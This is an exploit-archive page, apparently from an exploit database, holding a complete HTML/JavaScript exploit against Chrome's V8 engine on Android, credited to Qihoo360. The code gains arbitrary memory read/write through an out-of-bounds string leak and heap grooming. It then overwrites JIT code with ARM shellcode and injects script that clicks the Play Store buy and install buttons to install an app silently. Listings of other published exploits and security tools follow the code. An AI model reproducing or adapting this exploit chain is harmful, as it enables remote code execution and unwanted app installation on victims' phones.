"Google Chrome - V8 Private Property Arbitrary Code Execution"

Author

Exploit author

Qihoo360

Platform

Exploit platform

android

Release date

Exploit published date

2017-06-14

                
                    
                         Download file
                    
                
            
<html>
// Source: https://github.com/secmob/pwnfest2016/
<script>
function exploit(){

function to_hex(num){
    return (num>>>0).toString(16);
}
function intarray_to_double(int_arr){
    var uBuf = new Uint32Array(2);
    var dBuf = new Float64Array(uBuf.buffer);
        uBuf[0]=int_arr[0];
        uBuf[1]=int_arr[1];
    return dBuf[0];
}

function str_to_double(str){//leng of str must be 8
    var dBuf = new Float64Array(1);
    var u8Buf = new Uint8Array(dBuf.buffer);
    for(var i=0;i<str.length;i++){
        u8Buf[i] = str.charCodeAt(i);
    }
    return dBuf[0];
}
function double_to_array(value){
    var uBuf = new Uint32Array(2);
    var dBuf = new Float64Array(uBuf.buffer);
    dBuf[0]=value;
    return uBuf;
}

function gc(){
    for(var i=0;i<0x100000/16;i++){
        new String;
    }
}
function getHiddenValue(){
    var obj = {};
    var oob = "/re/";
    //oob = oob.replace("re","*".repeat(0x2000));
    oob = oob.replace("re","*".repeat(0x100000));
    var str =  'class x extends Array{'+oob+"}";
    var fun = eval(str);
    Object.assign(obj,fun);
    return obj;
}
var obWin;
function makeOobString(){
    var hiddenValue = getHiddenValue();
    var magicStr = "bbbb";
    var arr=[];
    var str =  'class x extends Array{}';
    for(var i=0;i<str.length;i++){
        arr[i]=str.charCodeAt(i);
    }
    var ob = new Array(0x200);
    ob.fill(0x31313131);
    gc();
    gc();
    str=String.fromCharCode.apply(null,arr);
    ob=ob.concat(0x32323232);
    var fun = eval(str); 
    ob[2]=str;
    ob[3]=ob;
    Object.assign(fun,hiddenValue);
    var oobString = fun.toString();
    gc();
    gc();
    print("begin search");
    var subStr = oobString.substr(0,0x8000);
    var pos = subStr.indexOf(magicStr);
    print("end search");
    if(pos==-1){
        print("find magic failed");
        postMessage(false);
        self.close();
        print("unpossible");
        throw "error";
    }else{
        print("find magic at "+pos);

    }
    oobString = oobString.substr(pos,ob.length*4);
    obWin=ob;
    return oobString;
}
var oobString = makeOobString();
print("get oob string successfully");
function print(){
    console.log.apply(null,arguments);
    /*document.write('<p >');
    document.write.apply(document,arguments);
    document.write("<p>");*/
}
function str2arr(str,len){//len must be multile of 4
    if(len===undefined)
        len = str.length;
    var u8a = new Uint8Array(len);
    for(var i=0;i<len;i++){
        u8a[i] = str.charCodeAt(i);
    }
    return new Uint32Array(u8a.buffer);
}
function pArrayInHex(arr){
    var result="<p style='font-size:8px'>";
    for(var i=0;i<arr.length;i++){
        result+=(arr[i]+0x100000000).toString(16).substr(-8);
        result+=" ";
        if(i%8==7)
            result+="<p style='font-size:8px'>";
    }
    result+="<p>";
    print(result);
    //alert(result);
    return result;
}
function pStrInHex(str){
    //var result="<p style='font-size:8px'>";
    var result="\n";
    for(var i=0;i<str.length;i++){
        var code = str.charCodeAt(i);
        result+=(code+0x100).toString(16).substr(-2);
        if(i%4==3)
            result+=" ";
        if(i%32==31)
           // result+="<p style='font-size:8px'>";
           result+="\n";
    }
   // result+="<p>";
    result+="\n";
    print(result);
    return result;
}
function getObjAddr(obj){
    obWin[0]=obj;
    var value2= ((str2arr(oobString,4))[0]);
    return value2>>>0;
}

var getObj24BitsAddr = function(){
    var smi=0;
    var code = 0;
    var i=0;
    //don't allocate heap object
    function getAddr(obj){
        obWin[0]=obj;
        value=0;
        code = 0;
        i=0;
        for(i=2;i>=0;i--){
            code = oobString.charCodeAt(i);
            value = code+value*256;
        }
        return value;
    }
    return getAddr;
}();


var lengthInOldSpace = 0xfffffffc;
var abarr=new Array(800);
function sprayVM(){
    var i=0;
    var j=0;
    try{
        for(i=0;i<20;i++){
            var u8 = new Uint8Array(0x10000000-0x500);
            abarr[i]=u8;
        }
    }catch(e){}
    try{
        for(j=0;j<100;j++){
            var u8 = new Uint8Array(0x8000000-0x500);
            abarr[i+j]=u8;
        }
    }catch(e){}
    print("allocate "+i+" 256M "+j+" 16M ")
    function getRandomInt(min, max) {
        min = Math.ceil(min);
        max = Math.floor(max);
        return Math.floor(Math.random() * (max - min)) + min;
    }
    delete abarr[getRandomInt(0,i)];
}


function getNewSpaceAddrs(){
    /*var kMaxRegularHeapObjectSize =523776;// 507136;
    var str="1".repeat(kMaxRegularHeapObjectSize-0x2000);
    str+="%";*/
    var objsInNewSpace = new Array(80);
    for(var i=0;i<objsInNewSpace.length;i++){
        //var xx=escape(str);
        var xx = new Array(0x70000/4);
        objsInNewSpace[i]=(getObjAddr(xx)&0xfff00000)>>>0;
        //使newspace更离散
        new Uint8Array(0x100000-0x500);
        new Uint8Array(0x100000-0x500);
    }
    function compareNumbers(a, b) {
      return a - b;
    }
    objsInNewSpace = Array.from(new Set(objsInNewSpace));
    objsInNewSpace = objsInNewSpace.sort(compareNumbers);
    return objsInNewSpace;
}


print("begin get new space address");
var objsInNewSpace = getNewSpaceAddrs();
while(objsInNewSpace.length<16){
    objsInNewSpace = getNewSpaceAddrs();
    print("new space addresses");
    pArrayInHex(objsInNewSpace);
}

try{
sprayVM();
}catch(e){}

var selectedTrunk = 0;
var selectedStr = "";
function bruteForceFengShui(){
    var huge_str = "x".repeat(0x100000-0x9000);//-0x9000
    huge_str +="%";
    var hold = new Array(100);
    //var holdaddress = new Array(100);
    for(var i=0;;i++){
        var large = escape(huge_str);
        var addr = getObjAddr(large);
        //console.log(addr.toString(16) + " "+i);
        if(i<hold.length){
            hold[i]=large;
            //holdaddress[i]=addr;
        }
        addr=(addr&0xfff00000)>>>0;
        addr = addr-0x100000;
        if(objsInNewSpace.indexOf(addr)!=-1){
            selectedTrunk = addr;
            selectedStr = large;
            abarr.fill(1);
            hold.fill(1);
            //holdaddress.fill(1);
            break;
        }
        if(i===150){
            /*i=0;
            print("tried 200 times");
            abarr.fill(1);
            try{
            sprayVM();
            }catch(e){};*/
            postMessage(false);
            close();
            throw "exceed limits";
        }
    }
}
bruteForceFengShui();
//to avoid allocate memory latter, initilize here
var nextTrunk = selectedTrunk + 0x100000;

//生成一块足够大的可读写内存
var huge_str = "eval('');";
//8000不能太大，太大会使new_space增大
for(var i=0;i<8000;i++) huge_str += 'a.a;';
huge_str += "return 10;";
var huge_func = new Function('a',huge_str);
huge_func({});

function fillNewSpace(origObj){
    //first object in new space at 0x8100, new spaces layout
    //0x40000
    //0x37f00
    //.....
    //0x40000
    var gap = "g".repeat(0x37f00-12-3);//12 is head of string,3 %25
    var gap = gap+"%";
    //flat gap
    gap.substr(0,100);
    var fillstr = "%20a".repeat((0x40000-12)/4);
    fillstr = escape(fillstr);
    var addr=0;
    for(var i=0;i<0x100;i++){
        addr = getObj24BitsAddr(origObj);
        if((addr&0xfffff)===0x8101)
            origObj=escape(gap);
        else
            origObj=unescape(fillstr);
    }
}

function findNewSpace(){
    var kMaxRegularHeapObjectSize =523776;// 507136;
    var str="1".repeat(kMaxRegularHeapObjectSize-0x2000);
    str+="%";
    for(var i=0;;i++){
        var xx=escape(str);
        var straddr = getObjAddr(xx);
        addr=(straddr&0xfff00000)>>>0;
        if(addr===selectedTrunk){
            print("good state "+straddr.toString(16));
            break;
        }
    }
}

function myencode(str){
    var arr = [];
    for(var i=0;i<str.length;i++){
        if(i%2==1)
            arr.push(str.charCodeAt(i));
        else{
            arr.push(37);//%
            var hexstr = (str.charCodeAt(i)+0x100).toString(16).substr(-2);
            arr.push(hexstr.charCodeAt(0));
            arr.push(hexstr.charCodeAt(1));
        }
    }
    return String.fromCharCode.apply(null,arr);
}

var dArray = [];
var index = (0x8100-36)*2;
for(var i=0;i<0x20000/8;i++){
        dArray[i]=str_to_double("%03x%03x");
}

var occulen = 0;
var i = 0;
var savedChunk = new Uint8Array(0x8100);
var hiddenValue = getHiddenValue();
var arr=[];
fillNewSpace(new String);
findNewSpace();
var classStr =  'class x extends Array{}';
for(var i=0;i<classStr.length;i++){
    arr[i]=classStr.charCodeAt(i);
}
var magicStr = String.fromCharCode(0x86,0x24);
classStr=String.fromCharCode.apply(null,arr);
var ab = new ArrayBuffer(0x1243);
var fun = eval(classStr); 
Object.assign(fun,hiddenValue);
var oobStr = fun.toString();

/*(gdb) x/20xw 0x5600c45c   array buffer layout
 * 0x5600c45c:  0x4b009a9d  0x41008125  0x41008125  0x00000020
 * 0x5600c46c:  0x09fda368  0x00000004  0x00000000  0x00000000
 */
//overwrite huge string as array buffer
var abLengthIndex = oobStr.indexOf(magicStr);
var strArrayBuffer = oobStr.substr(abLengthIndex-12,32);
//replace the byteLength
var LengthAddr = getObjAddr(lengthInOldSpace);
var strLength = String.fromCharCode(0xff&LengthAddr,(0xff00&LengthAddr)>>8,(0xff0000&LengthAddr)>>16,(0xff000000&LengthAddr)>>24);
var strBase = "\x00\x00\x00\x00";
strArrayBuffer = strArrayBuffer.substr(0,12)+strLength+strBase+strArrayBuffer.substr(20,12);
strArrayBuffer = myencode(strArrayBuffer);
for(var i=0;i<strArrayBuffer.length/8;i++){
    var d = strArrayBuffer.substr(i*8,8);
    dArray[index/8+i] = str_to_double(d);
}

var classStrAddr = getObjAddr(classStr)>>>0;
//set read position
var readOffset = 0x100000-((classStrAddr-1)&0xfffff)-12-0x40000;//12 string head
//length control the length of unscaped string, generated string has 12 bytes head
//left 0x1000*2 bytes to avoid gc
var subOobStr = oobStr.substr(readOffset,0x40000-24-0x2000);

//save the the chunk head to be corrupted
var nextThunkOffset = 0x100000-((classStrAddr-1)&0xfffff)-12;
var savedThunkStr = oobStr.substr(nextThunkOffset,0x8100);
for(var i =0;i<savedThunkStr.length;i++){
    savedChunk[i] = savedThunkStr.charCodeAt(i);
}

var pos1=new String;
var pos1addr = getObj24BitsAddr(pos1)-1;

//0x10 size of JSArray, 0x10 size of String head, 8 ALLOCATION_MEMENTO_TYPE 8 fixedarray 
occulen =0x100000-((pos1addr+0x10+0x10+0x8+0x8)&0xfffff);
//minus the length of double array
if(occulen<0x40000+16+8)
    throw "no enough room";
occulen = occulen - 0x40000-16-8;//16 size of JSArray, 8 fixedarray
if(occulen%4!==0)
    throw "length don't align";
var arrocc=new Array((occulen/4)); 
//set unescape write position
var occDoubleArray = dArray.concat();

var b=unescape(subOobStr);
//restore the corrupted chunk head
var u8 = new Uint8Array(selectedStr,nextTrunk,0x8100);
for(var i=0;i<savedChunk.length;i++){
    u8[i] = savedChunk[i];
}

print("long string allocated at "+classStrAddr.toString(16));
if(typeof(selectedStr)==="string"){
    print("overwrite failed");
    postMessage(false);
    close();
    return;
    //throw "overwrite failed";
}
var fakeab = selectedStr;
print("faked array buffer byte length is "+fakeab.byteLength.toString(16));
var globaldv = new Uint32Array(fakeab);

function read_uint32(from_address){
    var u32 =  globaldv[(from_address/4)>>>0];
    return u32>>>0;
}


function read_uint8(from_address){
    from_address = from_address>>>0;
    var index = (from_address/4)>>>0;
    var mask = from_address%4;
    var u32 =  globaldv[index];
    u32 = u32<<8*(3-mask);
    return u32>>>24;
}

function read_uint32_unalign(from_address){
    var u32 = 0;
    for(var i=3;i>=0;i--){
        var u8 = read_uint8(from_address+i);
        u32 = u32*0x100+u8;
    }
    return u32>>>0;
}

//rw to execute
//get function point of v8::internal::Accessors::ReconfigureToDataProperty
function getFixedFunctionPoint(fakeab){
    var FunctionAddress = getObjAddr(Function);
    var u32 = new Uint32Array(fakeab,FunctionAddress-1,0x1000);
    var map = u32[0];
    u32 = new Uint32Array(fakeab,map-1,0x1000);
    //instance descriptors
    var descriptors = u32[7];
    u32 = new Uint32Array(fakeab,descriptors-1,0x1000);
    var lengthAccessorInfo = u32[6];
    u32 = new Uint32Array(fakeab,lengthAccessorInfo-1,0x1000);
    var setterForeign = u32[4];
    u32 = new Uint32Array(fakeab,setterForeign-1,0x1000);
    var functionPoint = u32[1];
    return functionPoint-1;
}

var funPoint = getFixedFunctionPoint(fakeab);
print("ReconfigureToDataProperty at"+funPoint.toString(16));
var pattern=[0x03,0x46,0x18,0xb1,0x20,0x46,0x98,0x47,0x04,0x46];//get_elf_hwcap_from_getauxval

var point = ((funPoint&~0xfff)-0xdb6000)>>>0;//cf0000
print("chrome.apk base at "+point.toString(16));

function find(startAddr,len,pattern){
    for(var i=0; i<(len-pattern.length); i++ ) {
        for(var j=0;j<pattern.length;j++){
            var temp = read_uint8(startAddr+i+j);
            //print(temp.toString(16));
            if(temp!=pattern[j]) break;
        }
        if(j==pattern.length) return startAddr+i;
    }
    print("find failed");
}
var pattern_position=find(point,0x10000000,pattern);

print("find pattern at "+to_hex(pattern_position));





function get_dest_from_blx(addr) {
    var val = read_uint32_unalign(addr);
    var s = (val & 0x400) >> 10;
    var i1 = 1 - (((val & 0x20000000) >> 29) ^ s);
    var i2 = 1 - (((val & 0x8000000) >> 27) ^ s);
    var i10h = val & 0x3ff;
    var i10l = (val & 0x7fe0000) >> 17;
    var off = ((s * 0xff) << 24) | (i1 << 23) | (i2 << 22) | (i10h << 12) | (i10l << 2);
    return ((addr + 4) & ~3) + off;
}

function backup_original_code(start_address){
    var backup_arr = [];
    set_access_address(start_address);
    var u8arr=new Uint8Array(faked_ab);
    for(var i=0;i<shellcode.length+4096;i++){
        backup_arr[i]=u8arr[i];
    }
    return backup_arr;
}

function restore_original_code(start_address,backup_arr){
    set_access_address(start_address);
    var u8arr=new Uint8Array(faked_ab);
    for(var i=0;i<shellcode.length+4096;i++){
        u8arr[i]=backup_arr[i];
    }
}


huge_func({});
print("blx instruction content is "+to_hex(read_uint32_unalign(pattern_position-4)));
var dlsym_addr = get_dest_from_blx(pattern_position-4);
print("dlsym address is "+to_hex(dlsym_addr));
var huge_func_address = getObjAddr(huge_func)-1;
print("huge func address is "+to_hex(huge_func_address));
for(var i=0;i<20;i++){
    print(to_hex(read_uint32(huge_func_address+i*4)));
}
var huge_func_code_entry = read_uint32(huge_func_address+7*4);//dynamic kCodeEntryOffset 3*4
print("huge func code entry is "+to_hex(huge_func_code_entry));
print(to_hex(read_uint32(huge_func_code_entry)));

//var so_str= "";
var shellcode = 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var arrayBuffer = new ArrayBuffer(0x1000000);
var arrayBufferAddress = getObjAddr(arrayBuffer)-1;
var backingStoreAddress = read_uint32(arrayBufferAddress+4*4);
var args_address = backingStoreAddress+1024;
function write_shellcode(dlsym_addr,buffer){
    //ldr r0,[pc,4]//0xe59f0004 
    //ldr r1,[pc,4]//0xe59f1004
    //b shellcode;//0xea000001
    //dlopen_addr//array_buffer_address
    //dlsym_addr
    //shellcode
    //var stub=[0xe59f0004,0xe59f1004,0xea000001,dlsym_addr+0xc,dlsym_addr];
    var stub=[0xe59f0004,0xe59f1004,0xea000001,args_address,0x1000000];
    for(var i=0;i<stub.length;i++){
        globaldv[buffer/4+i]=stub[i];
    }

    shellcode = shellcode.concat([0,0,0,0]);
    for(var i=0;i<shellcode.length/4>>>0;i++){
       // u8arr[i+4*stub.length]=shellcode[i];
        globaldv[buffer/4+stub.length+i] = (shellcode[4*i+3]<<24)+(shellcode[4*i+2]<<16)+(shellcode[4*i+1]<<8)+(shellcode[4*i]);
    }
    return stub.length*4+shellcode.length;
}

function xss_code(){
    //alert(navigator.userAgent);
    //alert(document.cookie);
    var i1=setInterval(function(){
        if(!(document&&document.body&&document.body.innerHTML&&document.body.innerHTML.match(/This app is compatible/)!=null)){
            console.log("wait load complete");
            return;
        }
        clearInterval(i1);
        var i2=setInterval(function(){
            document.getElementsByClassName("price buy id-track-click")[0].click();
            var installButton =  document.getElementById("purchase-ok-button");
            if(installButton == null)
                return;
            installButton.click();
            document.write("<h1>The app will be installed shortly, Pwned by 360 Alpha Team</h1>");
            clearInterval(i2);
            setTimeout(function(){
            window.open("intent://scan/#Intent;scheme=zxing;package=com.google.zxing.client.android;end");
            },26000);
        },500);
    },500);
}

var js_str="\n"+xss_code.toString()+"xss_code();\n";
//var backup_arr = backup_original_code(huge_func_code_entry);
var writed_len = write_shellcode(dlsym_addr,huge_func_code_entry);
var args_view = new DataView(arrayBuffer,1024,100);
var so_file_view = new DataView(arrayBuffer,4096);
var js_view = new DataView(arrayBuffer,0x100000);
args_view.setUint32(0,dlsym_addr+0xc,true);
args_view.setUint32(4,dlsym_addr,true);
args_view.setUint32(8,huge_func_code_entry,true);
args_view.setUint32(12,writed_len,true);
args_view.setUint32(16,backingStoreAddress+4096,true);
args_view.setUint32(20,so_str.length/2,true);
args_view.setUint32(24,backingStoreAddress+0x100000,true);
args_view.setUint32(28,js_str.length,true);
print("length is "+so_str.length);
for(var i=0;i<so_str.length;i+=2){
    var value = so_str.substr(i,2);
    value = "0x"+value;
    so_file_view.setUint8(i/2,parseInt(value));
}
for(var i=0;i<js_str.length;i++){
    js_view.setUint8(i,js_str.charCodeAt(i));
}

print("begin execute shellcode");
huge_func({});

print("done");
postMessage(true);
//prevent arrayBuffer to be released
while(1){}

}
//main world
function print(){
    console.log.apply(null,arguments);
    document.write('<p >');
    document.write.apply(document,arguments);
    document.write("<p>");
}

// Build a worker from an anonymous function body
var blobURL = URL.createObjectURL( new Blob([ '(',exploit.toString(),')()' ], { type: 'application/javascript' } ) );

var worker;
var exploitSucc = false;
var count = 0;
function startExploit(){
    print("worker thread is started");
    worker = new Worker( blobURL );
    count++;
    worker.onmessage = function(e){
        print("exploit result is "+e.data);
        exploitSucc = e.data;
        if(exploitSucc==false){
            startExploit();
            return;
        }
        var end = +new Date();
        print("time diff is "+(end-begin)/1000);
        //top.location='https://play.google.com/store/apps/details?id=com.google.zxing.client.android';
        top.location='https://play.google.com/store/apps/details?id=com.kitkats.qrscanner';
    }
}
var begin = +new Date();
startExploit();

var savedCount = 0;
var hangMonitor = setInterval(function (){
    if(exploitSucc==true){
        clearInterval(hangMonitor);
    }else{
        if(savedCount==count){//maybe hang
            print("worker maybe hange");
            worker.terminate();
            startExploit();
        }else{
            print("worker is normal");
            savedCount = count;
        }
    }
},10000);
//URL.revokeObjectURL( blobURL );


</script>
</html>

Release Date	Title	Type	Platform	Author
2020-12-02	"aSc TimeTables 2021.6.2 - Denial of Service (PoC)"	local	windows	"Ismael Nava"
2020-12-02	"Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality"	webapps	php	"Mufaddal Masalawala"
2020-12-02	"Ksix Zigbee Devices - Playback Protection Bypass (PoC)"	remote	multiple	"Alejandro Vazquez Vazquez"
2020-12-02	"Mitel mitel-cs018 - Call Data Information Disclosure"	remote	linux	"Andrea Intilangelo"
2020-12-02	"Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile"	webapps	multiple	"Shahrukh Iqbal Mirza"
2020-12-02	"ChurchCRM 4.2.0 - CSV/Formula Injection"	webapps	multiple	"Mufaddal Masalawala"
2020-12-02	"DotCMS 20.11 - Stored Cross-Site Scripting"	webapps	multiple	"Hardik Solanki"
2020-12-02	"ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)"	webapps	multiple	"Mufaddal Masalawala"
2020-12-02	"NewsLister - Authenticated Persistent Cross-Site Scripting"	webapps	multiple	"Emre Aslan"
2020-12-02	"IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path"	local	windows	"Manuel Alvarez"

Release Date	Title	Type	Platform	Author
2020-07-02	"WhatsApp Remote Code Execution - Paper"	webapps	android	"ashu Jaiswal"
2020-02-24	"Android Binder - Use-After-Free (Metasploit)"	local	android	Metasploit
2020-01-14	"WeChat - Memory Corruption in CAudioJBM::InputAudioFrameToJBM"	dos	android	"Google Security Research"
2020-01-14	"Android - ashmem Readonly Bypasses via remap_file_pages() and ASHMEM_UNPIN"	dos	android	"Google Security Research"
2019-11-08	"Android Janus - APK Signature Bypass (Metasploit)"	local	android	Metasploit
2019-10-16	"Whatsapp 2.19.216 - Remote Code Execution"	remote	android	"Valerio Brussani"
2019-10-04	"Android - Binder Driver Use-After-Free"	local	android	"Google Security Research"
2019-08-30	"Canon PRINT 2.5.5 - Information Disclosure"	local	android	0x48piraj
2019-07-24	"Android 7 < 9 - Remote Code Execution"	remote	android	"Marcin Kozlowski"
2019-07-15	"Android 7 - 9 VideoPlayer - 'ihevcd_parse_pps' Out-of-Bounds Write"	dos	android	"Marcin Kozlowski"

Release Date	Title	Type	Platform	Author
2017-06-14	"Google Chrome - V8 Private Property Arbitrary Code Execution"	remote	android	Qihoo360

import requests

response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher	Protocols	Sigalg	Trusted

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"Google Chrome - V8 Private Property Arbitrary Code Execution"

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Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.